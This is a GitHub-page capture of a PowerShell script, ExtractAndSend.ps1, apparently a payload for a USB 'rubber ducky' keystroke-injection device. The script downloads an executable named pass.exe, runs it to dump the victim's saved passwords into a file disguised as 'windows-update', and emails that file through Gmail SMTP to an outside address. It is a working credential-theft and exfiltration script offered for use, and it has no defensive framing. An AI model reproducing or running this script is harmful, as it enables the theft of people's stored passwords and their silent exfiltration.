-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathExtractAndSend.ps1
31 lines (26 loc) · 1.33 KB
/
ExtractAndSend.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$URL = 'https://github.com/RRR3d/ArduinoRubberDucky/raw/main/pass.exe'
$FilePath = "$env:USERPROFILE\Documents\pass.exe"
$Command = "$FilePath /stext $env:USERPROFILE\Documents\windows-update"
# Download the file
Invoke-WebRequest -Uri $URL -OutFile $FilePath
# Run the command
Start-Process -FilePath $FilePath -ArgumentList $Command -Wait
$Username = '[email protected]'
$Password = 'THISisNOTaREalPAssword'
$EmailFrom = '[email protected]'
$EmailTo = '[email protected]'
$Subject = 'URGENT-MSG'
$Body = 'PLEASE CHECK THE ATTACHED FILE'
$SMTPServer = 'smtp.gmail.com'
$SMTPPort = 587
$Attachment = Join-Path $env:USERPROFILE\Documents 'windows-update'
$SMTPClient = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort)
$SMTPClient.EnableSsl = $true
$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $Password)
$Message = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body)
$AttachmentData = [System.IO.File]::ReadAllBytes($Attachment)
$AttachmentBase64 = [System.Convert]::ToBase64String($AttachmentData)
$AttachmentStream = [System.IO.MemoryStream]::new([System.Convert]::FromBase64String($AttachmentBase64))
$Attachment = New-Object System.Net.Mail.Attachment($AttachmentStream, 'windows-update', 'application/octet-stream')
$Message.Attachments.Add($Attachment)
$SMTPClient.Send($Message)